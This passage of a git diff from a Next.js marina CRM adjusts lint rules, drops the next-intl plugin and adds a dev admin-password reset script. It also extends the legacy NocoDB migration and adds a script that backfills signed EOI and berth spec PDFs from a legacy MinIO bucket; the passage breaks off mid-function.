|
||||||
|
'listbox',
|
||||||
|
'menu',
|
||||||
|
'menubar',
|
||||||
|
'radiogroup',
|
||||||
|
'row',
|
||||||
|
'tablist',
|
||||||
|
'toolbar',
|
||||||
|
'tree',
|
||||||
|
'treegrid',
|
||||||
|
],
|
||||||
|
depth: 5,
|
||||||
|
},
|
||||||
|
],
|
||||||
},
|
},
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
@@ -41,18 +68,36 @@ const eslintConfig = [
|
|||||||
// tell-tale "AI-generated" marker; we prefer periods, commas, or
|
// tell-tale "AI-generated" marker; we prefer periods, commas, or
|
||||||
// simple hyphens. Code comments / audit-log strings / templates
|
// simple hyphens. Code comments / audit-log strings / templates
|
||||||
// outside these directories are exempt.
|
// outside these directories are exempt.
|
||||||
|
//
|
||||||
|
// Same rule block also nudges new code toward CSS logical properties
|
||||||
|
// (ms-/me-/ps-/pe-/text-start/text-end/border-s/border-e) instead of
|
||||||
|
// physical Tailwind utilities. RTL isn't a roadmap requirement today,
|
||||||
|
// but every new ml-/mr-/pl-/pr-/text-left/text-right we accept now
|
||||||
|
// is a class we'd have to migrate later. Existing 1,000+ sites stay
|
||||||
|
// untouched (warn-only). Inline `// eslint-disable-next-line` when
|
||||||
|
// the directional intent is truly physical (e.g. a chevron icon).
|
||||||
files: ['src/components/**/*.tsx', 'src/app/**/*.tsx'],
|
files: ['src/components/**/*.tsx', 'src/app/**/*.tsx'],
|
||||||
rules: {
|
rules: {
|
||||||
|
// Both selectors share `warn` severity because the RTL nudge is
|
||||||
|
// grandfathered (1,000+ existing sites use ml-/mr-/etc). The
|
||||||
|
// em-dash sweep cleared every existing instance (2026-05-21), so
|
||||||
|
// `warn` still effectively gates new code — it just doesn't break
|
||||||
|
// CI on grandfathered RTL utilities. Inline
|
||||||
|
// `// eslint-disable-next-line no-restricted-syntax` when the
|
||||||
|
// directional intent is truly physical.
|
||||||
'no-restricted-syntax': [
|
'no-restricted-syntax': [
|
||||||
// Bumped from warn → error after the 2026-05-21 sweep cleared
|
'warn',
|
||||||
// the existing 108 instances. New code reintroducing em-dashes
|
|
||||||
// now fails the lint gate.
|
|
||||||
'error',
|
|
||||||
{
|
{
|
||||||
selector: "JSXText[value=/\\u2014/]",
|
selector: "JSXText[value=/\\u2014/]",
|
||||||
message:
|
message:
|
||||||
'No em-dash in user-facing JSX text. Use period, comma, or hyphen instead.',
|
'No em-dash in user-facing JSX text. Use period, comma, or hyphen instead.',
|
||||||
},
|
},
|
||||||
|
{
|
||||||
|
selector:
|
||||||
|
"JSXAttribute[name.name='className'] > Literal[value=/(?:^|[\\s:])(?:ml-|mr-|pl-|pr-|text-left|text-right|border-l\\b|border-r\\b|rounded-l-|rounded-r-)/]",
|
||||||
|
message:
|
||||||
|
'Prefer CSS logical properties (ms-/me-/ps-/pe-/text-start/text-end/border-s/border-e/rounded-s-/rounded-e-) over physical directional Tailwind utilities. Existing code is grandfathered; new code should default to logical so a future RTL pass is bounded.',
|
||||||
|
},
|
||||||
],
|
],
|
||||||
},
|
},
|
||||||
},
|
},
|
||||||
|
|||||||
@@ -1,9 +0,0 @@
|
|||||||
{
|
|
||||||
"common": {
|
|
||||||
"save": "Save",
|
|
||||||
"cancel": "Cancel",
|
|
||||||
"delete": "Delete",
|
|
||||||
"edit": "Edit",
|
|
||||||
"back": "Back"
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,13 +1,7 @@
|
|||||||
import type { NextConfig } from 'next';
|
import type { NextConfig } from 'next';
|
||||||
import bundleAnalyzer from '@next/bundle-analyzer';
|
import bundleAnalyzer from '@next/bundle-analyzer';
|
||||||
import createNextIntlPlugin from 'next-intl/plugin';
|
|
||||||
import { withSentryConfig } from '@sentry/nextjs';
|
import { withSentryConfig } from '@sentry/nextjs';
|
||||||
|
|
||||||
// next-intl plugin — points at our request-config entrypoint. Even
|
|
||||||
// though we ship only English today, the plugin is wired so future
|
|
||||||
// locale additions are a config-only change, not a code rewrite.
|
|
||||||
const withNextIntl = createNextIntlPlugin('./src/i18n/request.ts');
|
|
||||||
|
|
||||||
const isProd = process.env.NODE_ENV === 'production';
|
const isProd = process.env.NODE_ENV === 'production';
|
||||||
|
|
||||||
// Wrap the config with the bundle analyzer. Run `ANALYZE=true pnpm build`
|
// Wrap the config with the bundle analyzer. Run `ANALYZE=true pnpm build`
|
||||||
@@ -171,4 +165,4 @@ const withSentry = process.env.NEXT_PUBLIC_SENTRY_DSN
|
|||||||
})
|
})
|
||||||
: (cfg: NextConfig) => cfg;
|
: (cfg: NextConfig) => cfg;
|
||||||
|
|
||||||
export default withSentry(withBundleAnalyzer(withNextIntl(nextConfig)));
|
export default withSentry(withBundleAnalyzer(nextConfig));
|
||||||
|
|||||||
@@ -76,12 +76,14 @@
|
|||||||
"class-variance-authority": "^0.7.1",
|
"class-variance-authority": "^0.7.1",
|
||||||
"clsx": "^2.1.1",
|
"clsx": "^2.1.1",
|
||||||
"cmdk": "^1.1.1",
|
"cmdk": "^1.1.1",
|
||||||
|
"country-flag-icons": "^1.6.17",
|
||||||
"cron-parser": "^5.5.0",
|
"cron-parser": "^5.5.0",
|
||||||
"date-fns": "^4.1.0",
|
"date-fns": "^4.1.0",
|
||||||
"drizzle-orm": "^0.45.2",
|
"drizzle-orm": "^0.45.2",
|
||||||
"echarts": "^6.0.0",
|
"echarts": "^6.0.0",
|
||||||
"echarts-for-react": "^3.0.6",
|
"echarts-for-react": "^3.0.6",
|
||||||
"embla-carousel-react": "^8.6.0",
|
"embla-carousel-react": "^8.6.0",
|
||||||
|
"exceljs": "^4.4.0",
|
||||||
"imapflow": "^1.3.3",
|
"imapflow": "^1.3.3",
|
||||||
"ioredis": "^5.10.1",
|
"ioredis": "^5.10.1",
|
||||||
"iso-3166-2": "^1.0.0",
|
"iso-3166-2": "^1.0.0",
|
||||||
@@ -93,7 +95,6 @@
|
|||||||
"minio": "^8.0.7",
|
"minio": "^8.0.7",
|
||||||
"motion": "^12.38.0",
|
"motion": "^12.38.0",
|
||||||
"next": "16.2.6",
|
"next": "16.2.6",
|
||||||
"next-intl": "^4.11.2",
|
|
||||||
"next-themes": "^0.4.6",
|
"next-themes": "^0.4.6",
|
||||||
"nodemailer": "^8.0.7",
|
"nodemailer": "^8.0.7",
|
||||||
"openai": "^6.37.0",
|
"openai": "^6.37.0",
|
||||||
|
|||||||
833
pnpm-lock.yaml
generated
833
pnpm-lock.yaml
generated
File diff suppressed because it is too large
Load Diff
@@ -73,10 +73,6 @@ const ALLOW_LIST: ReadonlyArray<{ pattern: RegExp; reason: string }> = [
|
|||||||
pattern: /\/custom-fields\/\[entityId\]\//,
|
pattern: /\/custom-fields\/\[entityId\]\//,
|
||||||
reason: 'TODO: needs custom_fields:* permission. PUT path internally validated.',
|
reason: 'TODO: needs custom_fields:* permission. PUT path internally validated.',
|
||||||
},
|
},
|
||||||
{
|
|
||||||
pattern: /\/berth-reservations\/\[id\]\/route\.ts$/,
|
|
||||||
reason: 'TODO: PATCH should map to reservations:edit (not currently in catalog).',
|
|
||||||
},
|
|
||||||
];
|
];
|
||||||
|
|
||||||
interface Finding {
|
interface Finding {
|
||||||
|
|||||||
28
scripts/dev-reset-admin-pw.ts
Normal file
28
scripts/dev-reset-admin-pw.ts
Normal file
@@ -0,0 +1,28 @@
|
|||||||
|
import 'dotenv/config';
|
||||||
|
import { and, eq } from 'drizzle-orm';
|
||||||
|
|
||||||
|
import { auth } from '@/lib/auth';
|
||||||
|
import { db } from '@/lib/db';
|
||||||
|
import { user, account } from '@/lib/db/schema/users';
|
||||||
|
|
||||||
|
async function main() {
|
||||||
|
const email = process.argv[2] ?? 'admin@portnimara.test';
|
||||||
|
const pw = process.argv[3] ?? 'SuperAdmin12345!';
|
||||||
|
const [u] = await db.select().from(user).where(eq(user.email, email)).limit(1);
|
||||||
|
if (!u) throw new Error(`user not found: ${email}`);
|
||||||
|
// eslint-disable-next-line @typescript-eslint/no-explicit-any
|
||||||
|
const ctx = await (auth as any).$context;
|
||||||
|
const hash = await ctx.password.hash(pw);
|
||||||
|
const res = await db
|
||||||
|
.update(account)
|
||||||
|
.set({ password: hash })
|
||||||
|
.where(and(eq(account.userId, u.id), eq(account.providerId, 'credential')))
|
||||||
|
.returning({ id: account.id });
|
||||||
|
console.log(`updated ${res.length} credential row(s) for ${email}`);
|
||||||
|
process.exit(0);
|
||||||
|
}
|
||||||
|
|
||||||
|
main().catch((e) => {
|
||||||
|
console.error(e);
|
||||||
|
process.exit(1);
|
||||||
|
});
|
||||||
@@ -30,6 +30,7 @@ import { eq } from 'drizzle-orm';
|
|||||||
|
|
||||||
import { db } from '@/lib/db';
|
import { db } from '@/lib/db';
|
||||||
import { ports } from '@/lib/db/schema/ports';
|
import { ports } from '@/lib/db/schema/ports';
|
||||||
|
import { SUPER_ADMIN_USER_ID } from '@/lib/db/seed-bootstrap';
|
||||||
import { applyPlan } from '@/lib/dedup/migration-apply';
|
import { applyPlan } from '@/lib/dedup/migration-apply';
|
||||||
import { fetchSnapshot, loadNocoDbConfig } from '@/lib/dedup/nocodb-source';
|
import { fetchSnapshot, loadNocoDbConfig } from '@/lib/dedup/nocodb-source';
|
||||||
import { transformSnapshot } from '@/lib/dedup/migration-transform';
|
import { transformSnapshot } from '@/lib/dedup/migration-transform';
|
||||||
@@ -154,7 +155,7 @@ async function main(): Promise<void> {
|
|||||||
const snapshot = await fetchSnapshot(config);
|
const snapshot = await fetchSnapshot(config);
|
||||||
const elapsed = ((Date.now() - start) / 1000).toFixed(1);
|
const elapsed = ((Date.now() - start) / 1000).toFixed(1);
|
||||||
console.log(
|
console.log(
|
||||||
`[migrate] Snapshot fetched in ${elapsed}s — ${snapshot.interests.length} interests, ${snapshot.residentialInterests.length} residential, ${snapshot.berths.length} berths.`,
|
`[migrate] Snapshot fetched in ${elapsed}s — ${snapshot.interests.length} interests, ${snapshot.residentialInterests.length} residential, ${snapshot.berths.length} berths, ${snapshot.expenses?.length ?? 0} expenses.`,
|
||||||
);
|
);
|
||||||
|
|
||||||
console.log('[migrate] Running transform + dedup pipeline…');
|
console.log('[migrate] Running transform + dedup pipeline…');
|
||||||
@@ -184,6 +185,7 @@ async function main(): Promise<void> {
|
|||||||
console.log(
|
console.log(
|
||||||
` ${s.outputResidentialClients} residential clients (with default-stage interests)`,
|
` ${s.outputResidentialClients} residential clients (with default-stage interests)`,
|
||||||
);
|
);
|
||||||
|
console.log(` ${s.outputExpenses} expenses`);
|
||||||
console.log(
|
console.log(
|
||||||
` Dedup: ${s.autoLinkedClusters} auto-linked clusters, ${s.needsReviewPairs} pairs flagged for review`,
|
` Dedup: ${s.autoLinkedClusters} auto-linked clusters, ${s.needsReviewPairs} pairs flagged for review`,
|
||||||
);
|
);
|
||||||
@@ -208,7 +210,7 @@ async function main(): Promise<void> {
|
|||||||
console.log('[migrate] Inserting…');
|
console.log('[migrate] Inserting…');
|
||||||
|
|
||||||
const applyStart = Date.now();
|
const applyStart = Date.now();
|
||||||
const result = await applyPlan(plan, { port, applyId });
|
const result = await applyPlan(plan, { port, applyId, appliedBy: SUPER_ADMIN_USER_ID });
|
||||||
const applyElapsed = ((Date.now() - applyStart) / 1000).toFixed(1);
|
const applyElapsed = ((Date.now() - applyStart) / 1000).toFixed(1);
|
||||||
|
|
||||||
console.log('');
|
console.log('');
|
||||||
@@ -231,6 +233,9 @@ async function main(): Promise<void> {
|
|||||||
` Res-Clt: ${result.residentialClientsInserted} inserted, ${result.residentialClientsSkipped} already linked`,
|
` Res-Clt: ${result.residentialClientsInserted} inserted, ${result.residentialClientsSkipped} already linked`,
|
||||||
);
|
);
|
||||||
console.log(` Res-Int: ${result.residentialInterestsInserted} inserted`);
|
console.log(` Res-Int: ${result.residentialInterestsInserted} inserted`);
|
||||||
|
console.log(
|
||||||
|
` Expenses: ${result.expensesInserted} inserted, ${result.expensesSkipped} already linked`,
|
||||||
|
);
|
||||||
|
|
||||||
if (result.warnings.length > 0) {
|
if (result.warnings.length > 0) {
|
||||||
console.log('');
|
console.log('');
|
||||||
@@ -242,6 +247,27 @@ async function main(): Promise<void> {
|
|||||||
console.log(` … ${result.warnings.length - 20} more`);
|
console.log(` … ${result.warnings.length - 20} more`);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// ── Multi-berth links (folded in for the one-shot seed) ──────────────────
|
||||||
|
// The dedup plan only carries each deal's single `Berth Number`; the legacy
|
||||||
|
// `_nc_m2m_Berths_Interests` junction (multi-berth deals) is reconnected
|
||||||
|
// here from the local `nocodb_legacy` snapshot. Best-effort: if the dump
|
||||||
|
// isn't restored, log + continue (the standalone script can run it later).
|
||||||
|
try {
|
||||||
|
const { connectBerthLinks } = await import('./migration/connect-berth-links');
|
||||||
|
const bl = await connectBerthLinks({ portSlug: port.slug });
|
||||||
|
console.log(
|
||||||
|
` Berths: ${bl.inserted} multi-berth links inserted (${bl.madePrimary} new primary), ${bl.skipped} already linked`,
|
||||||
|
);
|
||||||
|
if (bl.unresolved.length > 0) {
|
||||||
|
console.log(` ⚠ ${bl.unresolved.length} moorings with no CRM berth`);
|
||||||
|
}
|
||||||
|
} catch (err) {
|
||||||
|
console.log(
|
||||||
|
` Berths: ⚠ multi-berth link step skipped (${(err as Error).message}). ` +
|
||||||
|
`Run scripts/migration/connect-berth-links.ts once the nocodb_legacy dump is restored.`,
|
||||||
|
);
|
||||||
|
}
|
||||||
console.log('');
|
console.log('');
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
503
scripts/migration/backfill-documents.ts
Normal file
503
scripts/migration/backfill-documents.ts
Normal file
@@ -0,0 +1,503 @@
|
|||||||
|
/**
|
||||||
|
* Phase 2 of the legacy migration: pull signed EOI PDFs + berth spec PDFs from
|
||||||
|
* the LEGACY MinIO (`client-portal` bucket) and deposit them into the CRM's own
|
||||||
|
* storage, linking them to the already-migrated deals + berths.
|
||||||
|
*
|
||||||
|
* Two storage worlds, kept strictly separate:
|
||||||
|
* - LEGACY read : a dedicated `minio` Client using LEGACY_MINIO_* env.
|
||||||
|
* - CRM write : `getStorageBackend()` (the CRM's own configured storage).
|
||||||
|
* ⚠ We NEVER route legacy creds through getStorageBackend — that would
|
||||||
|
* write INTO prod. LEGACY_MINIO_* is distinct from the CRM's MINIO_*.
|
||||||
|
*
|
||||||
|
* Idempotent + re-runnable: an EOI is skipped once its `documents.signedFileId`
|
||||||
|
* is set; a berth is skipped once it has a `currentPdfVersionId`.
|
||||||
|
*
|
||||||
|
* Run AFTER `migrate-from-nocodb.ts --apply`:
|
||||||
|
* LEGACY_MINIO_ACCESS_KEY=… LEGACY_MINIO_SECRET_KEY=… \
|
||||||
|
* pnpm tsx scripts/migration/backfill-documents.ts --port-slug port-nimara [--dry-run]
|
||||||
|
*/
|
||||||
|
import 'dotenv/config';
|
||||||
|
import { randomUUID } from 'node:crypto';
|
||||||
|
import { Client as MinioClient } from 'minio';
|
||||||
|
import postgres from 'postgres';
|
||||||
|
import { and, eq, isNull } from 'drizzle-orm';
|
||||||
|
|
||||||
|
import { db, closeDb } from '@/lib/db';
|
||||||
|
import { ports } from '@/lib/db/schema/ports';
|
||||||
|
import { berths } from '@/lib/db/schema/berths';
|
||||||
|
import { documents, files } from '@/lib/db/schema/documents';
|
||||||
|
import { clients } from '@/lib/db/schema/clients';
|
||||||
|
import { interests } from '@/lib/db/schema/interests';
|
||||||
|
import { migrationSourceLinks } from '@/lib/db/schema/migration';
|
||||||
|
import { getStorageBackend } from '@/lib/storage';
|
||||||
|
import { buildStoragePath } from '@/lib/minio';
|
||||||
|
import { ensureEntityFolder } from '@/lib/services/document-folders.service';
|
||||||
|
import { uploadBerthPdf } from '@/lib/services/berth-pdf.service';
|
||||||
|
import { normalizeName } from '@/lib/dedup/normalize';
|
||||||
|
import { SUPER_ADMIN_USER_ID } from '@/lib/db/seed-bootstrap';
|
||||||
|
|
||||||
|
const DRY = process.argv.includes('--dry-run');
|
||||||
|
const slugArg = (() => {
|
||||||
|
const i = process.argv.indexOf('--port-slug');
|
||||||
|
return i >= 0 ? (process.argv[i + 1] ?? 'port-nimara') : 'port-nimara';
|
||||||
|
})();
|
||||||
|
|
||||||
|
const LEGACY_BUCKET = process.env.LEGACY_MINIO_BUCKET ?? 'client-portal';
|
||||||
|
// NocoDB's own attachment store — where pre-Documenso "LOI process" EOIs live.
|
||||||
|
const DATABASE_BUCKET = process.env.LEGACY_MINIO_DATABASE_BUCKET ?? 'database';
|
||||||
|
const legacy = new MinioClient({
|
||||||
|
endPoint: process.env.LEGACY_MINIO_ENDPOINT ?? 's3.portnimara.com',
|
||||||
|
port: 443,
|
||||||
|
useSSL: true,
|
||||||
|
accessKey: process.env.LEGACY_MINIO_ACCESS_KEY ?? '',
|
||||||
|
secretKey: process.env.LEGACY_MINIO_SECRET_KEY ?? '',
|
||||||
|
});
|
||||||
|
|
||||||
|
// Read-only connection to the LOCAL restored NocoDB dump (`nocodb_legacy`) —
|
||||||
|
// used to read the `EOI_Document` attachment metadata. Never prod.
|
||||||
|
const CRM_DB_URL = process.env.DATABASE_URL ?? '';
|
||||||
|
const LEGACY_DB_URL = process.env.LEGACY_DB_URL ?? CRM_DB_URL.replace(/\/[^/]+$/, '/nocodb_legacy');
|
||||||
|
|
||||||
|
/** Levenshtein edit distance — conservative fuzzy name matching for legacy
|
||||||
|
* spelling/format drift (Koshbin↔Khoshbin, Costanzo↔Constanzo). */
|
||||||
|
function lev(a: string, b: string): number {
|
||||||
|
const m = a.length;
|
||||||
|
const n = b.length;
|
||||||
|
if (!m) return n;
|
||||||
|
if (!n) return m;
|
||||||
|
let prev = Array.from({ length: n + 1 }, (_, i) => i);
|
||||||
|
for (let i = 1; i <= m; i++) {
|
||||||
|
const cur = [i];
|
||||||
|
for (let j = 1; j <= n; j++) {
|
||||||
|
cur[j] = Math.min(
|
||||||
|
prev[j]! + 1,
|
||||||
|
cur[j - 1]! + 1,
|
||||||
|
prev[j - 1]! + (a[i - 1] === b[j - 1] ? 0 : 1),
|
||||||
|
);
|
||||||
|
}
|
||||||
|
prev = cur;
|
||||||
|
}
|
||||||
|
return prev[n]!;
|
||||||
|
}
|
||||||
|
|
||||||
|
function streamToBuffer(stream: NodeJS.ReadableStream): Promise<Buffer> {
|
||||||
|
return new Promise((resolve, reject) => {
|
||||||
|
const chunks: Buffer[] = [];
|
||||||
|
stream.on('data', (c: Buffer) => chunks.push(c));
|
||||||
|
stream.on('end', () => resolve(Buffer.concat(chunks)));
|
||||||
|
stream.on('error', reject);
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
interface LegacyObject {
|
||||||
|
name: string;
|
||||||
|
size: number;
|
||||||
|
}
|
||||||
|
function listLegacy(prefix: string): Promise<LegacyObject[]> {
|
||||||
|
return new Promise((resolve, reject) => {
|
||||||
|
const out: LegacyObject[] = [];
|
||||||
|
const stream = legacy.listObjectsV2(LEGACY_BUCKET, prefix, true);
|
||||||
|
stream.on('data', (o) => {
|
||||||
|
if (o.name && !o.name.endsWith('/')) out.push({ name: o.name, size: o.size ?? 0 });
|
||||||
|
});
|
||||||
|
stream.on('end', () => resolve(out));
|
||||||
|
stream.on('error', reject);
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
async function resolvePort(slug: string): Promise<{ id: string; slug: string }> {
|
||||||
|
const [p] = await db
|
||||||
|
.select({ id: ports.id, slug: ports.slug })
|
||||||
|
.from(ports)
|
||||||
|
.where(eq(ports.slug, slug))
|
||||||
|
.limit(1);
|
||||||
|
if (!p) throw new Error(`No port with slug "${slug}"`);
|
||||||
|
return p;
|
||||||
|
}
|
||||||
|
|
||||||
|
// ─── Berth PDFs ──────────────────────────────────────────────────────────────
|
||||||
|
// client-portal/Berth-PDFs/<ts>-Berth_Spec_Sheet_<Mooring>.pdf → berth by mooring.
|
||||||
|
async function backfillBerthPdfs(port: { id: string; slug: string }) {
|
||||||
|
const objs = (await listLegacy('Berth-PDFs/')).filter((o) => /\.pdf$/i.test(o.name));
|
||||||
|
const berthRows = await db
|
||||||
|
.select({ id: berths.id, mooring: berths.mooringNumber, cur: berths.currentPdfVersionId })
|
||||||
|
.from(berths)
|
||||||
|
.where(eq(berths.portId, port.id));
|
||||||
|
const byMooring = new Map(berthRows.map((b) => [b.mooring, b]));
|
||||||
|
|
||||||
|
let attached = 0;
|
||||||
|
let skipped = 0;
|
||||||
|
let unmatched = 0;
|
||||||
|
for (const o of objs) {
|
||||||
|
const m = o.name.match(/Berth_Spec_Sheet_([A-Za-z]+\d+)\.pdf$/i);
|
||||||
|
if (!m) {
|
||||||
|
unmatched++;
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
const mooring = `${m[1]!.replace(/[a-z]+/g, (s) => s.toUpperCase())}`
|
||||||
|
.toUpperCase()
|
||||||
|
.replace(/([A-Z]+)0*(\d+)/, '$1$2');
|
||||||
|
const berth = byMooring.get(mooring);
|
||||||
|
if (!berth) {
|
||||||
|
console.log(` [berth] no berth for mooring "${mooring}" (${o.name})`);
|
||||||
|
unmatched++;
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
if (berth.cur) {
|
||||||
|
skipped++;
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
if (DRY) {
|
||||||
|
attached++;
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
const buf = await streamToBuffer(await legacy.getObject(LEGACY_BUCKET, o.name));
|
||||||
|
await uploadBerthPdf({
|
||||||
|
berthId: berth.id,
|
||||||
|
portId: port.id,
|
||||||
|
buffer: buf,
|
||||||
|
fileName: o.name.split('/').pop() ?? `${mooring}.pdf`,
|
||||||
|
uploadedBy: SUPER_ADMIN_USER_ID,
|
||||||
|
});
|
||||||
|
attached++;
|
||||||
|
}
|
||||||
|
return { total: objs.length, attached, skipped, unmatched };
|
||||||
|
}
|
||||||
|
|
||||||
|
// ─── Signed EOIs ─────────────────────────────────────────────────────────────
|
||||||
|
// client-portal/EOIs/<Client Name>/<file>.pdf → match by normalized client name.
|
||||||
|
async function backfillEois(port: { id: string; slug: string }) {
|
||||||
|
// Signed EOIs live under EOIs/<Name>/ and (some) under Client Documents/<Name>/.
|
||||||
|
const objs = [...(await listLegacy('EOIs/')), ...(await listLegacy('Client Documents/'))].filter(
|
||||||
|
(o) => /\.pdf$/i.test(o.name) && /eoi|sign/i.test(o.name),
|
||||||
|
);
|
||||||
|
// Index the best signed PDF per normalized folder (client) name.
|
||||||
|
const byName = new Map<string, { key: string; size: number }>();
|
||||||
|
for (const o of objs) {
|
||||||
|
const parts = o.name.split('/'); // <prefix> / <Name> / <file>.pdf
|
||||||
|
if (parts.length < 3) continue;
|
||||||
|
const folder = (parts[1] ?? '').replace(/_/g, ' '); // "Matt_Ciaccio" → "Matt Ciaccio"
|
||||||
|
const norm = normalizeName(folder).display;
|
||||||
|
if (!norm) continue;
|
||||||
|
const isSigned = /sign/i.test(o.name);
|
||||||
|
const prev = byName.get(norm);
|
||||||
|
// Prefer a "signed" file; among those, the largest (the full signed PDF).
|
||||||
|
if (!prev || (isSigned && o.size > prev.size)) byName.set(norm, { key: o.name, size: o.size });
|
||||||
|
}
|
||||||
|
|
||||||
|
// Migrated EOI documents missing a signed file.
|
||||||
|
const docRows = await db
|
||||||
|
.select({ id: documents.id, interestId: documents.interestId, clientId: documents.clientId })
|
||||||
|
.from(documents)
|
||||||
|
.where(
|
||||||
|
and(
|
||||||
|
eq(documents.portId, port.id),
|
||||||
|
eq(documents.documentType, 'eoi'),
|
||||||
|
isNull(documents.signedFileId),
|
||||||
|
),
|
||||||
|
);
|
||||||
|
|
||||||
|
const backend = await getStorageBackend();
|
||||||
|
let attached = 0;
|
||||||
|
let unmatched = 0;
|
||||||
|
const unresolved: string[] = [];
|
||||||
|
for (const doc of docRows) {
|
||||||
|
const clientId = doc.clientId;
|
||||||
|
if (!clientId) {
|
||||||
|
unmatched++;
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
const [c] = await db
|
||||||
|
.select({ name: clients.fullName })
|
||||||
|
.from(clients)
|
||||||
|
.where(eq(clients.id, clientId))
|
||||||
|
.limit(1);
|
||||||
|
if (!c) {
|
||||||
|
unmatched++;
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
const target = normalizeName(c.name).display;
|
||||||
|
let match = byName.get(target);
|
||||||
|
if (!match && target.length >= 6) {
|
||||||
|
// Conservative fuzzy fallback: best edit-distance ≤ 2 on the full name.
|
||||||
|
let bestDist = 3;
|
||||||
|
for (const [name, v] of byName) {
|
||||||
|
const d = lev(name, target);
|
||||||
|
if (d < bestDist) {
|
||||||
|
bestDist = d;
|
||||||
|
match = v;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (!match) {
|
||||||
|
unresolved.push(c.name);
|
||||||
|
unmatched++;
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
if (DRY) {
|
||||||
|
attached++;
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
// Pull legacy bytes → write to CRM storage → files row → link signedFileId.
|
||||||
|
const buf = await streamToBuffer(await legacy.getObject(LEGACY_BUCKET, match.key));
|
||||||
|
const key = buildStoragePath(port.slug, 'eoi-signed', doc.id, randomUUID(), 'pdf');
|
||||||
|
const putRes = await backend.put(key, buf, {
|
||||||
|
contentType: 'application/pdf',
|
||||||
|
sizeBytes: buf.length,
|
||||||
|
});
|
||||||
|
// File into the client's entity folder (mirrors handleDocumentCompleted's
|
||||||
|
// owner-folder filing). files.interestId still scopes the row to the deal;
|
||||||
|
// interest "Deal" folders aren't system-managed (chk_system_folder_shape).
|
||||||
|
const folder = await ensureEntityFolder(port.id, 'client', clientId, SUPER_ADMIN_USER_ID);
|
||||||
|
const fileName = match.key.split('/').pop() ?? 'eoi-signed.pdf';
|
||||||
|
await db.transaction(async (tx) => {
|
||||||
|
const [f] = await tx
|
||||||
|
.insert(files)
|
||||||
|
.values({
|
||||||
|
portId: port.id,
|
||||||
|
filename: fileName,
|
||||||
|
originalName: fileName,
|
||||||
|
storagePath: putRes.key,
|
||||||
|
mimeType: 'application/pdf',
|
||||||
|
sizeBytes: String(putRes.sizeBytes),
|
||||||
|
category: 'eoi',
|
||||||
|
folderId: folder.id,
|
||||||
|
clientId,
|
||||||
|
interestId: doc.interestId,
|
||||||
|
uploadedBy: 'system',
|
||||||
|
})
|
||||||
|
.returning({ id: files.id });
|
||||||
|
if (!f) throw new Error('files insert returned no row');
|
||||||
|
await tx
|
||||||
|
.update(documents)
|
||||||
|
.set({ signedFileId: f.id, status: 'completed', isManualUpload: true })
|
||||||
|
.where(eq(documents.id, doc.id));
|
||||||
|
});
|
||||||
|
attached++;
|
||||||
|
}
|
||||||
|
return {
|
||||||
|
totalBlobs: objs.length,
|
||||||
|
indexedClients: byName.size,
|
||||||
|
candidates: docRows.length,
|
||||||
|
attached,
|
||||||
|
unmatched,
|
||||||
|
unresolved,
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
// ─── Old-LOI EOIs (NocoDB `database` bucket attachments) ─────────────────────
|
||||||
|
// The ~10 pre-Documenso "LOI process" deals have no documensoID and no curated
|
||||||
|
// client-portal/EOIs copy; their signed PDF lives only as a NocoDB attachment
|
||||||
|
// in the `database` bucket. The main pipeline keys EOI-doc creation off
|
||||||
|
// documensoID, so it never created a document row for them. Here we CREATE the
|
||||||
|
// document + file + folder and link the recovered PDF. Idempotent via a
|
||||||
|
// `nocodb_eoi_document` ledger entry per legacy interest.
|
||||||
|
function legacyKeyFromUrl(url: string): string | null {
|
||||||
|
// https://<host>/database/nc/uploads/... → nc/uploads/...
|
||||||
|
const marker = `/${DATABASE_BUCKET}/`;
|
||||||
|
const i = url.indexOf(marker);
|
||||||
|
if (i < 0) return null;
|
||||||
|
return decodeURIComponent(url.slice(i + marker.length));
|
||||||
|
}
|
||||||
|
|
||||||
|
async function backfillOldLoiEois(
|
||||||
|
port: { id: string; slug: string },
|
||||||
|
legacyDb: ReturnType<typeof postgres>,
|
||||||
|
) {
|
||||||
|
const rows = (await legacyDb`
|
||||||
|
select id, "EOI_Document"::text as doc
|
||||||
|
from plplouets5zw1um."Interests"
|
||||||
|
where "EOI_Document" is not null and "EOI_Document"::text not in ('', '[]', 'null')
|
||||||
|
`) as unknown as Array<{ id: number; doc: string }>;
|
||||||
|
|
||||||
|
const backend = await getStorageBackend();
|
||||||
|
let created = 0;
|
||||||
|
let skipped = 0;
|
||||||
|
let unmatched = 0;
|
||||||
|
const unresolved: string[] = [];
|
||||||
|
|
||||||
|
for (const r of rows) {
|
||||||
|
let url: string | null = null;
|
||||||
|
let title: string | null = null;
|
||||||
|
try {
|
||||||
|
const parsed = JSON.parse(r.doc) as unknown;
|
||||||
|
const first = Array.isArray(parsed) && parsed.length > 0 ? parsed[0] : null;
|
||||||
|
if (first && typeof first === 'object') {
|
||||||
|
const rec = first as Record<string, unknown>;
|
||||||
|
if (typeof rec.url === 'string') url = rec.url;
|
||||||
|
if (typeof rec.title === 'string') title = rec.title;
|
||||||
|
}
|
||||||
|
} catch {
|
||||||
|
// ignore malformed attachment JSON
|
||||||
|
}
|
||||||
|
const key = url ? legacyKeyFromUrl(url) : null;
|
||||||
|
if (!key) {
|
||||||
|
unmatched++;
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
// legacy interest id → migrated interest
|
||||||
|
const [link] = await db
|
||||||
|
.select({ interestId: migrationSourceLinks.targetEntityId })
|
||||||
|
.from(migrationSourceLinks)
|
||||||
|
.where(
|
||||||
|
and(
|
||||||
|
eq(migrationSourceLinks.sourceSystem, 'nocodb_interests'),
|
||||||
|
eq(migrationSourceLinks.sourceId, String(r.id)),
|
